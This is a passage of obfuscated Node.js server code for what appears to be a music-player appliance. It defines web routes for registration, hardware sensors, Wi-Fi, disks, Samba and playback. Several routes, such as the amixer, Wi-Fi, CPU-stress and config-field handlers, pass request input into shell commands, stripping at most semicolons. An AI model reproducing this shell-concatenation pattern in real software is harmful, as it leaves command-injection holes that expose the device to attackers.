_0x3d67ec=_0x1927f7;setTimeout(function(_0x29e9a6){var _0x58935a=_0x4832;client[_0x58935a(0x32b)](_0x58935a(0x555),_0x29e9a6);},0x3e8,_0x3d67ec(0x379)+_0x28d50f),_0x39c5a3&&(config[_0x3d67ec(0x20b)]=_0x264033,config[_0x3d67ec(0x283)]=0x0,config[_0x3d67ec(0x555)]='',config[_0x3d67ec(0x216)]=_0x4633db,config[_0x3d67ec(0x216)]<0x3?(config['can_upgrade']=0x0,config[_0x3d67ec(0x24c)]=0x0):(config[_0x3d67ec(0x45c)]=0x0,config['can_downgrade']=0x0),fs[_0x3d67ec(0x3a2)](_0x3d67ec(0x580),JSON['stringify'](config,null,'	')),client['checkRegtypeCapabilities']()),mpdUtils['reportIP'](config,function(){var _0x15d040=_0x3d67ec;fs[_0x15d040(0x3a2)](_0x15d040(0x580),JSON[_0x15d040(0x2e9)](config,null,'	'));});})),respHandlers['handleSimpleResponse'](_0x7c0a49,_0x11e58a);}},'/register':{'get':function(_0x30e996,_0x3d0d28){var _0x57700=_0x2db473,_0x5cba51,_0x5486af=_0x30e996[_0x57700(0x3c0)][_0x57700(0x20b)],_0x24a338=_0x30e996[_0x57700(0x3c0)]['version']||config['majorv'],_0x19ca65=_0x57700(0x4d6);((_0x5cba51=mpdUtils[_0x57700(0x286)](_0x24a338,_0x5486af))==_0x5486af||_0x5486af['startsWith']('TRIAL')&&_0x5cba51[_0x57700(0x457)](0x0,0x5)===_0x5486af[_0x57700(0x457)](0x5))&&(_0x19ca65+=_0x57700(0x4a8),mpdUtils[_0x57700(0x595)](config,_0x5486af,_0x24a338,function(_0x134848,_0x9c75c2){var _0xfee422=_0x57700;_0x19ca65+=_0xfee422(0x5a8),_0x19ca65+=_0x9c75c2,_0x134848&&(config[_0xfee422(0x20b)]=_0x5486af,config['reg_check_retries']=0x0,config['message']='',config[_0xfee422(0x216)]=_0x24a338,config['registered_version']<0x3?(config['can_upgrade']=0x1,config['can_downgrade']=0x0):(config[_0xfee422(0x45c)]=0x0,config[_0xfee422(0x24c)]=0x1),fs[_0xfee422(0x3a2)](_0xfee422(0x580),JSON[_0xfee422(0x2e9)](config,null,'	')),client[_0xfee422(0x26e)]()),mpdUtils[_0xfee422(0x58a)](config,function(){var _0x1710e6=_0xfee422;fs[_0x1710e6(0x3a2)](_0x1710e6(0x580),JSON[_0x1710e6(0x2e9)](config,null,'	'));}),_0x19ca65+='<br><br>Redirecting...',_0x19ca65+=_0xfee422(0x203),_0x19ca65+=_0xfee422(0x401),_0x3d0d28['writeHead'](0xc8,{'Content-Type':_0xfee422(0x4ca)}),_0x3d0d28[_0xfee422(0x288)](_0x19ca65),_0x3d0d28['end']();}));}},'/unmute':{'post':function(_0x21ed7d,_0xb94007){var _0x9f79d1=_0x2db473,_0x3d8802=_0x21ed7d[_0x9f79d1(0x29c)]['id'],_0x1d71e9=utils[_0x9f79d1(0x5a4)](config,_0x3d8802);shell['exec'](_0x9f79d1(0x36c)+_0x1d71e9['cardnum'],function(_0x797258,_0x3ef71e){var _0x52dfcc=_0x9f79d1,_0x397545=_0x3ef71e['toString']()[_0x52dfcc(0x5b5)]();respHandlers[_0x52dfcc(0x1fe)](_0x397545,_0xb94007);});}},'/checkForUpdates':{'post':function(_0x2828eb,_0x5027b8){var _0x5d934e=_0x2db473,_0x3f542b,_0x363012=_0x2828eb[_0x5d934e(0x29c)][_0x5d934e(0x3da)],_0x385f4d=mpdUtils[_0x5d934e(0x25f)](config);o=_0x5d934e(0x354),(setTimeout(function(_0x40634a){mpdUtils['verifyUpdate'](_0x385f4d,_0x363012,function(_0x114d6e,_0x300cb6){var _0x74285d=_0x4832;setTimeout(function(_0x29163b){var _0x2f2550=_0x4832;client[_0x2f2550(0x32b)](_0x2f2550(0x555),_0x29163b);},0x3e8,_0x74285d(0x379)+_0x300cb6);});},0x2af8,_0x5d934e(0x379)+_0x5027b8),respHandlers['handleSimpleResponse'](o,_0x5027b8));}},'/checkForUpdatesDev':{'get':function(_0x21bfac,_0x4c5c1f){var _0x22e9cc=_0x2db473;config['dev']=!0x0,fs[_0x22e9cc(0x3a2)](_0x22e9cc(0x580),JSON['stringify'](config,null,'	')),mpdUtils['check4Updates'](config,function(_0x480655,_0x273142){var _0x25a33c=_0x22e9cc;_0x480655?client[_0x25a33c(0x32b)](_0x25a33c(0x555),_0x25a33c(0x514)+_0x273142):client['emitMessage']('message',_0x25a33c(0x478)+_0x273142);},_0x22e9cc(0x4f3)),respHandlers[_0x22e9cc(0x1fe)]('',_0x4c5c1f);}},'/changes/:v':{},'/euphony-ips':{'get':function(_0xfae713,_0x2b2a5a){}},'/get-amixer/:card':{'get':function(_0xbb358d,_0x3ee9e4){var _0x5edb57=_0x2db473,_0x3d2feb=_0xbb358d[_0x5edb57(0x515)]['card'];shell['exec'](_0x5edb57(0x3ed)+_0x3d2feb,function(_0x32802a,_0x4d28d8){var _0x46d73a=_0x5edb57,_0x177152=_0x4d28d8[_0x46d73a(0x303)]()['trim']();respHandlers[_0x46d73a(0x1fe)](_0x177152,_0x3ee9e4);});}},'/sensors':{'get':function(_0x566dbb,_0xbf2e1d){var _0x49dd45=_0x2db473;shell['exec'](_0x49dd45(0x464),function(_0x1e5c2c,_0x3c6763){var _0x368310=_0x49dd45,_0x1c9616=_0x3c6763['toString']()[_0x368310(0x5b5)]()[_0x368310(0x4b9)](' '),_0x21c60a=_0x1c9616[0x0],_0xa66d69=_0x1c9616[0x1];shell['exec']('sensors | grep -E "Core|Tdie"',function(_0xe95d15,_0x2cc5c1){var _0x51b2b2=_0x368310,_0x2fc940=_0x2cc5c1[_0x51b2b2(0x303)]()[_0x51b2b2(0x5b5)]();_0x2fc940[_0x51b2b2(0x45d)]('Tdie')&&(_0x2fc940=_0x2fc940[_0x51b2b2(0x4b9)](':')[0x1][_0x51b2b2(0x5b5)]()[_0x51b2b2(0x560)](0x1,-0x2)),shell['exec'](_0x51b2b2(0x384),function(_0x47c8e8,_0x375eed){var _0xf1ade6=_0x51b2b2,_0x1415c2='';try{_0x1415c2=(_0x1415c2=JSON[_0xf1ade6(0x408)](_0x375eed['toString']()['trim']()))[_0xf1ade6(0x219)][_0xf1ade6(0x504)][0x0][_0xf1ade6(0x444)][0x0][_0xf1ade6(0x2a0)];}catch(_0x352e09){return void shell[_0xf1ade6(0x513)]('mpstat -P ALL 1 1 | grep Average | grep -v CPU | grep -v all | awk '{print $12}'',function(_0x435de4,_0x5fb52f){var _0x3ccb12=_0xf1ade6,_0x2a0866=_0x5fb52f['toString']()[_0x3ccb12(0x5b5)]()['split'](/\n/);if(_0x1415c2=[],_0x2a0866[_0x3ccb12(0x38f)](function(_0x23f6d2){var _0x58b1ff=_0x3ccb12;_0x1415c2[_0x58b1ff(0x28c)]({'idle':_0x23f6d2});}),config[_0x3ccb12(0x35c)]){var _0x5a2b2a={};_0x5a2b2a[_0x3ccb12(0x3dd)]=config['cpu_freq_min_default'],_0x5a2b2a[_0x3ccb12(0x27a)]=config[_0x3ccb12(0x20e)],shell[_0x3ccb12(0x513)](_0x3ccb12(0x3d9),function(_0x46140a,_0x1b94df){var _0x1041fe=_0x3ccb12;_0x5a2b2a['cpu']=_0x1b94df[_0x1041fe(0x303)]()[_0x1041fe(0x5b5)]()['split'](/\n/),respHandlers[_0x1041fe(0x4ce)]({'temp':_0x2fc940,'cpu':_0x1415c2,'freemem':_0xa66d69,'totalmem':_0x21c60a,'cpu_freq':_0x5a2b2a},_0xbf2e1d);});}else respHandlers[_0x3ccb12(0x4ce)]({'temp':_0x2fc940,'cpu':_0x1415c2,'freemem':_0xa66d69,'totalmem':_0x21c60a},_0xbf2e1d);});}if(config[_0xf1ade6(0x35c)]){var _0x51ba77={};_0x51ba77[_0xf1ade6(0x3dd)]=config['cpu_freq_min_default'],_0x51ba77[_0xf1ade6(0x27a)]=config['cpu_freq_max_default'],shell['exec'](_0xf1ade6(0x576),function(_0x199d5a,_0x1adc5d){var _0x9daa78=_0xf1ade6;_0x51ba77['cpu']=_0x1adc5d[_0x9daa78(0x303)]()[_0x9daa78(0x5b5)]()[_0x9daa78(0x4b9)](/\n/),respHandlers[_0x9daa78(0x4ce)]({'temp':_0x2fc940,'cpu':_0x1415c2,'freemem':_0xa66d69,'totalmem':_0x21c60a,'cpu_freq':_0x51ba77},_0xbf2e1d);});}else respHandlers['sendAsJson']({'temp':_0x2fc940,'cpu':_0x1415c2,'freemem':_0xa66d69,'totalmem':_0x21c60a},_0xbf2e1d);});});});}},'/listfiles/:page':{'get':function(_0x8c3721,_0x2ef82b){var _0x3ec871=_0x2db473,_0xabc016=decodeURIComponent(_0x8c3721[_0x3ec871(0x3c0)]['path']);'/'==_0xabc016&&(_0xabc016='');var _0x10bbc4=Number(_0x8c3721['params'][_0x3ec871(0x4c7)]),_0x2686bf=decodeURIComponent(_0x8c3721[_0x3ec871(0x3c0)][_0x3ec871(0x507)])[_0x3ec871(0x5b5)]()[_0x3ec871(0x31d)]();g_lib_engine[_0x3ec871(0x5b2)](_0xabc016,_0x2686bf,_0x10bbc4,function(_0x53f086){var _0x144c2b=_0x3ec871;_0x53f086[_0x144c2b(0x412)]=client[_0x144c2b(0x39f)](_0x144c2b(0x56e)+_0xabc016),respHandlers['sendAsJson'](_0x53f086,_0x2ef82b);});}},'/getdevices':{'get':function(_0x4f75c5,_0x58f8d1){var _0x442930=_0x2db473;shell[_0x442930(0x513)](_0x442930(0x31b),function(_0x528859,_0x2f34f7){var _0x43828d=_0x442930,_0x3c7dbc=_0x2f34f7[_0x43828d(0x303)]()['trim']();mpdUtils[_0x43828d(0x42f)](_0x43828d(0x336),'SIZE,KNAME,MAJ:MIN,RM,RO,TYPE,TRAN,LABEL,UUID,MOUNTPOINT',null,function(_0x17a24e){var _0x4b89ea;async['eachLimit'](_0x17a24e,0x1,function(_0x214357,_0x54e407){var _0x28b5dc=_0x4832;_0x214357[_0x28b5dc(0x5d2)]&&(_0x4b89ea=_0x214357[_0x28b5dc(0x5d2)]),_0x214357[_0x28b5dc(0x5d2)]=_0x4b89ea,_0x214357['name']=_0x214357[_0x28b5dc(0x4c4)],_0x214357[_0x28b5dc(0x2c3)]['startsWith'](_0x3c7dbc)&&(_0x214357[_0x28b5dc(0x210)]=!0x0),'part'===_0x214357['type']?_0x214357[_0x28b5dc(0x1fd)]=_0x28b5dc(0x3de):_0x214357[_0x28b5dc(0x1fd)]=_0x4b89ea+' '+_0x214357[_0x28b5dc(0x3c6)],_0x214357[_0x28b5dc(0x342)]?shell[_0x28b5dc(0x513)](_0x28b5dc(0x2a1)+_0x214357[_0x28b5dc(0x4c4)]+_0x28b5dc(0x334),function(_0xe512a6,_0x1dd826){var _0x321709=_0x28b5dc,_0x3da97e=_0x1dd826['toString']()['trim']()[_0x321709(0x4b9)](/ +/);_0x214357[_0x321709(0x37a)]=_0x3da97e[0x3],_0x214357['used']=_0x3da97e[0x4];var _0x54a840=_0x214357[_0x321709(0x342)]['split'](/\//)['slice'](-0x1)[0x0];_0x214357['usbname']=_0x54a840,fs[_0x321709(0x4ed)](_0x214357[_0x321709(0x342)]+_0x321709(0x54e))&&(_0x214357[_0x321709(0x39a)]=!0x0),_0x54e407();}):(_0x214357[_0x28b5dc(0x548)]&&(_0x214357[_0x28b5dc(0x3db)]=_0x214357[_0x28b5dc(0x548)]),_0x214357[_0x28b5dc(0x37a)]='-',_0x214357[_0x28b5dc(0x35a)]='-',shell[_0x28b5dc(0x513)](_0x28b5dc(0x2fc)+_0x214357['kname']+' /tmp/mnt',function(_0x3622fd,_0x561bf8){var _0x544af0=_0x28b5dc;0x0==_0x3622fd&&(shell[_0x544af0(0x513)](_0x544af0(0x499)),_0x214357[_0x544af0(0x502)]=_0x544af0(0x32d)),_0x54e407();}));},function(_0x1d9d5f){var _0x3f40cc=_0x4832;respHandlers[_0x3f40cc(0x4ce)]({'result':_0x17a24e,'regtype':config['regtype']},_0x58f8d1);});});});}},'/getnetworkdevices':{'get':function(_0x489be5,_0x5e5715){var _0x522b36=_0x2db473;async[_0x522b36(0x320)](config[_0x522b36(0x221)],function(_0x33cd40,_0x502502){var _0x4a533d=_0x522b36,_0x184120=_0x4a533d(0x56e)+_0x33cd40[_0x4a533d(0x2c3)];shell[_0x4a533d(0x513)]('findmnt -D --output=target,source | grep ''+_0x184120+' '',function(_0x37e77b,_0x4b727b){var _0x911aa5=_0x4a533d;_0x4b727b['toString']()[_0x911aa5(0x5b5)]()?(_0x33cd40[_0x911aa5(0x448)]=!0x0,fs['existsSync'](_0x184120+_0x911aa5(0x54e))&&(_0x33cd40[_0x911aa5(0x39a)]=!0x0)):_0x33cd40[_0x911aa5(0x448)]=!0x1,_0x502502();});},function(_0x1436f1){var _0x535c19=_0x522b36;respHandlers[_0x535c19(0x4ce)]({'shares':config['shareconf'],'regtype':config[_0x535c19(0x3fa)]},_0x5e5715);});}},'/changeFreq':{'post':function(_0x3e6784,_0xb28fe8){var _0x44b8e9=_0x2db473,_0x486651,_0x333a09;_0x3e6784['body'][_0x44b8e9(0x3d7)]&&(_0x333a09=_0x3e6784['body'][_0x44b8e9(0x3d7)][_0x44b8e9(0x30e)](/\;/g,' ')['trim']()),_0x3e6784['body']['cpu_freq_min']&&(_0x486651=_0x3e6784[_0x44b8e9(0x29c)][_0x44b8e9(0x3ba)]['replace'](/\;/g,' ')[_0x44b8e9(0x5b5)]()),_0x333a09=_0x333a09||'',_0x486651=_0x486651||'',config[_0x44b8e9(0x3d7)]=_0x333a09,config['cpu_freq_min']=_0x486651,config[_0x44b8e9(0x35c)]=_0x333a09||_0x486651?0x1:0x0,fs[_0x44b8e9(0x3a2)](_0x44b8e9(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x44b8e9(0x1fe)]('Frequences saved and set',_0xb28fe8),client[_0x44b8e9(0x23b)]();}},'/toggleRamroot':{'post':function(_0x436f5b,_0x5afd0f){var _0x39af01=_0x2db473,_0x3eb5e5;config[_0x39af01(0x417)]=_0x436f5b[_0x39af01(0x29c)][_0x39af01(0x417)],config[_0x39af01(0x493)]=_0x436f5b['body'][_0x39af01(0x493)],0x0==config[_0x39af01(0x4fa)]?(_0x3eb5e5=_0x39af01(0x3b4),config[_0x39af01(0x4d0)]=0x1):(_0x3eb5e5=_0x39af01(0x540),config[_0x39af01(0x4d0)]=0x0),shell['exec'](_0x39af01(0x2cf)+_0x3eb5e5+_0x39af01(0x562),function(_0x358558,_0x114de4){var _0x4480fb=_0x39af01;shell[_0x4480fb(0x513)](_0x4480fb(0x42b),function(_0x306dcb,_0x1ff2c8){var _0x1267a2=_0x4480fb;config[_0x1267a2(0x512)]=_0x306dcb,respHandlers[_0x1267a2(0x1fe)](_0x1267a2(0x52e),_0x5afd0f),fs[_0x1267a2(0x3a2)](_0x1267a2(0x580),JSON[_0x1267a2(0x2e9)](config,null,'	'));});});}},'/saveAppdata':{'post':function(_0x227246,_0x39881b){var _0x5d6ea1=_0x2db473;shell['exec'](_0x5d6ea1(0x338),function(_0x2579ab,_0x225c39){var _0x43a200=_0x5d6ea1;respHandlers[_0x43a200(0x1fe)]('Config saved from RAM to disk',_0x39881b);});}},'/saveRoot':{'post':function(_0x347497,_0x1a5578){var _0x398d66=_0x2db473;shell[_0x398d66(0x513)](_0x398d66(0x202),function(_0xccbbb9,_0x1e8f63){var _0x402bce=_0x398d66;respHandlers[_0x402bce(0x1fe)](_0x402bce(0x52b),_0x1a5578);});}},'/changeWIFI':{'post':function(_0x3d5917,_0x223662){var _0x6c236c=_0x2db473,_0x48b235,_0x3c074e;_0x3d5917[_0x6c236c(0x29c)]['ssid']&&(_0x48b235=_0x3d5917[_0x6c236c(0x29c)][_0x6c236c(0x5c1)]['replace'](/\;/g,' ')),_0x3d5917[_0x6c236c(0x29c)][_0x6c236c(0x396)]&&(_0x3c074e=_0x3d5917['body'][_0x6c236c(0x396)][_0x6c236c(0x30e)](/\;/g,' ')),_0x48b235&&_0x3c074e?(shell[_0x6c236c(0x513)](_0x6c236c(0x1e9)+_0x48b235+_0x6c236c(0x211)+_0x3c074e+_0x6c236c(0x510),function(_0x21705c,_0x559218){var _0x2d73f6=_0x6c236c,_0x5d702e=os[_0x2d73f6(0x39c)]();_0x5d702e[_0x2d73f6(0x348)]&&_0x2d73f6(0x5b7)==_0x5d702e[_0x2d73f6(0x348)][0x0]['family']&&_0x5d702e['wlan0'][0x0][_0x2d73f6(0x385)]?respHandlers['handleSimpleResponse'](_0x2d73f6(0x4fb)+_0x5d702e[_0x2d73f6(0x348)][0x0][_0x2d73f6(0x385)]+_0x2d73f6(0x3ea),_0x223662):respHandlers[_0x2d73f6(0x1fe)](_0x2d73f6(0x491),_0x223662);}),config[_0x6c236c(0x4d9)]=_0x6c236c(0x32d)):(shell[_0x6c236c(0x513)](_0x6c236c(0x2ae),{'async':!0x0}),respHandlers[_0x6c236c(0x1fe)](_0x6c236c(0x490),_0x223662),config[_0x6c236c(0x4d9)]='no'),fs['writeFileSync'](_0x6c236c(0x580),JSON[_0x6c236c(0x2e9)](config,null,'	'));}},'/irqs':{'get':function(_0x52e5f8,_0x5ab24a){var _0xc81a19=_0x2db473;shell[_0xc81a19(0x513)]('cat /proc/interrupts | grep -E "[0-9]+:"',function(_0x2a484d,_0x2e8bd6){var _0x320293=_0xc81a19;respHandlers[_0x320293(0x1fe)](_0x2e8bd6['toString'](),_0x5ab24a);});}},'/spindown':{'post':function(_0x1687a9,_0x36dcc6){var _0x1d3c83=_0x2db473,_0x5efe2f=_0x1687a9['body']['spindown'];_0x5efe2f||(_0x5efe2f=0x0),shell['exec']('./spindown.sh '+Math[_0x1d3c83(0x2e3)](Number(_0x5efe2f)/0x5),function(_0x2d52a7,_0x2dfb5a){var _0x1c3d9e=_0x1d3c83;0x0==_0x5efe2f?respHandlers[_0x1c3d9e(0x1fe)](_0x1c3d9e(0x430),_0x36dcc6):respHandlers[_0x1c3d9e(0x1fe)](_0x1c3d9e(0x3b3)+_0x5efe2f+' seconds of disk inactivity',_0x36dcc6);}),config['spindown']=_0x5efe2f,fs[_0x1d3c83(0x3a2)](_0x1d3c83(0x580),JSON[_0x1d3c83(0x2e9)](config,null,'	'));}},'/toggleStress':{'post':function(_0x167c78,_0x2e44c6){var _0x14c68d=_0x2db473,_0xda7b55=_0x167c78[_0x14c68d(0x29c)][_0x14c68d(0x1f6)]['replace'](/\;/g,' ');shell['exec'](_0x14c68d(0x29e),function(_0xed0247,_0x3a58f4){var _0x49b36b=_0x14c68d;_0x3a58f4['toString']()[_0x49b36b(0x5b5)]()?respHandlers[_0x49b36b(0x1fe)]('CPU stress terminated!',_0x2e44c6):respHandlers[_0x49b36b(0x1fe)]('CPU stress started! <br><strong>We do not take responsibility for consequences of this operation!</strong><br>Although modern computers have safeguards and will turn off if overheated you should monitor the temperature of your cores anyway, at least until they stop rising and reach constant level.',_0x2e44c6),shell[_0x49b36b(0x513)]('./cook.sh '+_0xda7b55,{'async':!0x0});});}},'/toggleOutput':{'post':function(_0xe9a5f,_0x1cae2f){var _0x59e6be=_0x2db473,_0xca2b9f=_0xe9a5f[_0x59e6be(0x29c)]['id'],_0x254e3a=utils[_0x59e6be(0x5a4)](config,_0xca2b9f,0x1);if(_0x254e3a&&_0x254e3a[_0x59e6be(0x528)]){var _0x249eb7=utils[_0x59e6be(0x4b8)](config);_0x249eb7&&(_0x249eb7[_0x59e6be(0x206)]=!0x1),config['audio']['selected_device']=_0xca2b9f,utils[_0x59e6be(0x45a)]('toggleOutput '+_0xca2b9f),_0x254e3a[_0x59e6be(0x206)]=!0x0,fs[_0x59e6be(0x3a2)](_0x59e6be(0x580),JSON[_0x59e6be(0x2e9)](config,null,'	')),_0x249eb7[_0x59e6be(0x50d)]==_0x254e3a[_0x59e6be(0x50d)]&&_0x59e6be(0x4f7)!=_0x254e3a[_0x59e6be(0x50d)]?client[_0x59e6be(0x2e4)]()?(client[_0x59e6be(0x2e4)]()['toggleOutput'](_0x254e3a,!0x1),client['getPlayEngine']()[_0x59e6be(0x49d)](_0x254e3a)):config[_0x59e6be(0x575)]&&client[_0x59e6be(0x45e)](_0x254e3a[_0x59e6be(0x2c5)]):client[_0x59e6be(0x48a)](),_0x59e6be(0x38d)==config[_0x59e6be(0x3aa)]&&shell[_0x59e6be(0x513)](_0x59e6be(0x2a2)+_0x254e3a[_0x59e6be(0x2c5)]+'"/g' /etc/shairport-sync.conf',{'async':!0x0}),respHandlers['handleSimpleResponse'](_0x59e6be(0x2f8)+_0x254e3a['_name']+_0x59e6be(0x4f1),_0x1cae2f);}else respHandlers[_0x59e6be(0x1fe)]('Device not active: '+_0xca2b9f,_0x1cae2f);}},'/toggleInternalCards':{'post':function(_0x3aab60,_0x127fc0){var _0x5444ad=_0x2db473,_0x23ccfd;_0x5444ad(0x297)==_0x3aab60[_0x5444ad(0x29c)][_0x5444ad(0x431)]?(_0x23ccfd=_0x5444ad(0x268),config['audio']['enable_internal_cards']=!0x0):(_0x23ccfd=_0x5444ad(0x409),config[_0x5444ad(0x318)][_0x5444ad(0x4a2)]=!0x1),utils[_0x5444ad(0x45a)](_0x5444ad(0x2d0)+_0x23ccfd+' '+_0x3aab60[_0x5444ad(0x29c)][_0x5444ad(0x431)]),shell[_0x5444ad(0x513)](_0x23ccfd,{'async':!0x0}),fs['writeFileSync'](_0x5444ad(0x580),JSON[_0x5444ad(0x2e9)](config,null,'	')),respHandlers['handleSimpleResponse']('ok',_0x127fc0);}},'/toggleUpnp':{'post':function(_0x19e586,_0x4bf32a){var _0x5cd591=_0x2db473;_0x5cd591(0x297)==_0x19e586['body'][_0x5cd591(0x431)]?config['audio'][_0x5cd591(0x57e)]=!0x0:config[_0x5cd591(0x318)]['use_upnp']=!0x1,utils[_0x5cd591(0x45a)](_0x5cd591(0x5be)+_0x19e586[_0x5cd591(0x29c)][_0x5cd591(0x431)]),client[_0x5cd591(0x374)](!config[_0x5cd591(0x318)][_0x5cd591(0x57e)]),fs[_0x5cd591(0x3a2)](_0x5cd591(0x580),JSON[_0x5cd591(0x2e9)](config,null,'	')),respHandlers[_0x5cd591(0x1fe)]('ok',_0x4bf32a);}},'/toggleSamba':{'post':function(_0x30a35e,_0x36e5f2){var _0x16794b=_0x2db473;_0x16794b(0x297)==_0x30a35e[_0x16794b(0x29c)][_0x16794b(0x431)]?config[_0x16794b(0x3a4)]=!0x0:config['samba_enabled']=!0x1,utils[_0x16794b(0x45a)]('toggleSamba',_0x30a35e[_0x16794b(0x29c)][_0x16794b(0x431)]),client[_0x16794b(0x309)](config['samba_enabled']),fs[_0x16794b(0x3a2)](_0x16794b(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x16794b(0x1fe)]('ok',_0x36e5f2);}},'/changeConfigField':{'post':function(_0x1f428e,_0x53d41a){var _0xda6852=_0x2db473,_0x361cf8=_0x1f428e['body'][_0xda6852(0x378)],_0x623e62=_0x1f428e[_0xda6852(0x29c)][_0xda6852(0x4a1)];if(_0x623e62=_0x623e62[_0xda6852(0x30e)](/\;/g,' '),config[_0x361cf8]=_0x623e62,fs[_0xda6852(0x3a2)]('./config.json',JSON[_0xda6852(0x2e9)](config,null,'	')),_0xda6852(0x1f7)==_0x361cf8){if(_0x623e62){var _0x1ecbf6=_0xda6852(0x59d);0x0!=_0x623e62[_0xda6852(0x5b5)]()[_0xda6852(0x44a)]('-')&&(_0x1ecbf6+=_0xda6852(0x43a)),shell[_0xda6852(0x513)](_0xda6852(0x1e6)+_0x1ecbf6+_0x623e62,{'async':!0x0});}}else{if(_0xda6852(0x21b)==_0x361cf8)utils[_0xda6852(0x1f3)](_0x623e62),client[_0xda6852(0x2e4)]()&&client[_0xda6852(0x2e4)]()[_0xda6852(0x1f3)](_0xda6852(0x228)==_0x623e62?0x2:_0xda6852(0x388)==_0x623e62?0x1:0x0,function(){});else{if(_0xda6852(0x380)==_0x361cf8)shell[_0xda6852(0x513)](_0xda6852(0x413)+config[_0xda6852(0x380)],{'async':!0x0});else{if(_0xda6852(0x4fd)==_0x361cf8){var _0x272fc9=Number(config[_0xda6852(0x4fd)]);Number[_0xda6852(0x269)](_0x272fc9)||(_0x272fc9+='G'),shell[_0xda6852(0x513)](_0xda6852(0x48f)+_0x272fc9+_0xda6852(0x2d3),{'async':!0x0});}else{if(_0xda6852(0x418)==_0x361cf8)0x1==_0x623e62?shell[_0xda6852(0x513)]('/srv/node/mpdweb/suspend_resume.sh -STOP',{'async':!0x0}):shell['exec'](_0xda6852(0x474),{'async':!0x0});else{if(_0xda6852(0x52a)==_0x361cf8)return void applyCPUIsolation(_0x623e62,_0x53d41a);'cpu_freq_max'!=_0x361cf8&&_0xda6852(0x3ba)!=_0x361cf8||client[_0xda6852(0x23b)]();}}}}}respHandlers[_0xda6852(0x1fe)](_0xda6852(0x4e4),_0x53d41a);}},'/changePreferredView':{'post':function(_0x3a3a07,_0x40a4d8){var _0x44c963=_0x2db473,_0xc1cf52=_0x3a3a07[_0x44c963(0x29c)]['library'],_0x5cfb5f=_0x3a3a07[_0x44c963(0x29c)][_0x44c963(0x392)];config[_0x44c963(0x318)][_0x44c963(0x2de)][_0xc1cf52]=_0x5cfb5f,config[_0x44c963(0x318)][_0x44c963(0x4de)]=JSON['stringify'](config[_0x44c963(0x318)][_0x44c963(0x2de)]),fs[_0x44c963(0x3a2)]('./config.json',JSON[_0x44c963(0x2e9)](config,null,'	')),respHandlers['handleSimpleResponse'](_0x44c963(0x4e4),_0x40a4d8);}},'/toggleCovers':{'post':function(_0x496750,_0x454879){var _0x4a221f=_0x2db473;'true'==_0x496750[_0x4a221f(0x29c)][_0x4a221f(0x431)]?config[_0x4a221f(0x2ca)]=!0x0:config['download_covers']=!0x1,fs[_0x4a221f(0x3a2)](_0x4a221f(0x580),JSON[_0x4a221f(0x2e9)](config,null,'	')),respHandlers[_0x4a221f(0x1fe)]('ok',_0x454879);}},'/toggleCache':{'post':function(_0x1e4257,_0x443449){var _0x2c1793=_0x2db473;if(_0x2c1793(0x297)==_0x1e4257[_0x2c1793(0x29c)][_0x2c1793(0x431)])config[_0x2c1793(0x4cd)]=!0x0,fs[_0x2c1793(0x3a2)](_0x2c1793(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x2c1793(0x1fe)](_0x2c1793(0x353),_0x443449);else{var _0x2ffb97=client[_0x2c1793(0x2e4)]()[_0x2c1793(0x545)]();config[_0x2c1793(0x4cd)]=!0x1;var _0x5bec53=_0x2c1793(0x4fc);client[_0x2c1793(0x345)]()['invalidatePath'](_0x5bec53),require('fs-extra')[_0x2c1793(0x31a)](_0x5bec53,function(_0x5516a6){var _0xfa8b8e=_0x2c1793;respHandlers[_0xfa8b8e(0x1fe)](_0xfa8b8e(0x5aa)+_0x2ffb97,_0x443449);});}}},'/settings':{'get':function(_0x5081a1,_0x2fa873){sendSettings(_0x5081a1,_0x2fa873);}},'/seek':{'post':function(_0x36a3cd,_0x41ed9d){var _0x457fc1=_0x2db473;client[_0x457fc1(0x2e4)]()[_0x457fc1(0x3d6)](_0x36a3cd[_0x457fc1(0x29c)][_0x457fc1(0x57d)],function(_0x19bca5){var _0x1f5444=_0x457fc1;respHandlers[_0x1f5444(0x4ce)](_0x19bca5,_0x41ed9d);});}},'/checksize':{'post':function(_0x3d8d06,_0x20122b){var _0x27e235=_0x2db473,_0x4a12b3=_0x3d8d06[_0x27e235(0x29c)][_0x27e235(0x445)];g_lib_engine[_0x27e235(0x59c)](_0x4a12b3,function(_0x2cb580){var _0x2eb5e7=_0x27e235;respHandlers[_0x2eb5e7(0x4ce)](_0x2cb580,_0x20122b);});}},'/add':{'post':function(_0x1cce7b,_0xcf4fac){var _0x41bcd0=_0x2db473,_0x211efa=_0x1cce7b[_0x41bcd0(0x29c)][_0x41bcd0(0x51c)],_0x1b8760=_0x1cce7b[_0x41bcd0(0x29c)]['item'],_0x15bfb5=_0x1cce7b[_0x41bcd0(0x29c)][_0x41bcd0(0x252)];_0x41bcd0(0x4f6)===_0x211efa?client[_0x41bcd0(0x2e4)]()['addPlaySong'](_0x1b8760,_0x15bfb5,function(_0x49e31c){var _0x11dc0e=_0x41bcd0;respHandlers[_0x11dc0e(0x4ce)](_0x49e31c,_0xcf4fac);}):_0x41bcd0(0x5b0)===_0x211efa?g_youtube_api[_0x41bcd0(0x3cb)](_0x1b8760['id'],function(_0x1f8839){var _0x43dc5c=_0x41bcd0;_0x1f8839['error']||(_0x1b8760[_0x43dc5c(0x391)]=youtubeTime2Seconds(_0x1f8839[_0x43dc5c(0x319)][0x0][_0x43dc5c(0x350)][_0x43dc5c(0x391)])),client[_0x43dc5c(0x2e4)]()[_0x43dc5c(0x4ad)](_0x1b8760,_0x15bfb5,function(_0x5be31d){var _0x5765d9=_0x43dc5c;respHandlers[_0x5765d9(0x4ce)](_0x5be31d,_0xcf4fac);});}):_0x41bcd0(0x382)===_0x211efa||'qobuz'===_0x211efa?client[_0x41bcd0(0x2e4)]()[_0x41bcd0(0x4ad)](_0x1b8760,_0x15bfb5,function(_0x261a5e){var _0x7276a1=_0x41bcd0;respHandlers[_0x7276a1(0x4ce)](_0x261a5e,_0xcf4fac);}):_0x41bcd0(0x38e)===_0x211efa&&(_0x1b8760[_0x41bcd0(0x445)][_0x41bcd0(0x45d)](_0x41bcd0(0x2a3))||_0x1b8760[_0x41bcd0(0x445)]['startsWith']('http://opml.radiotime.com/Tune.ashx')?addRadioStation(_0xcf4fac,_0x1b8760,_0x1b8760[_0x41bcd0(0x445)],0x0,!0x1,_0x15bfb5):playRadioStation(_0xcf4fac,_0x1b8760,_0x15bfb5));}},'/addall':{'post':function(_0x37821a,_0x1808b1){var 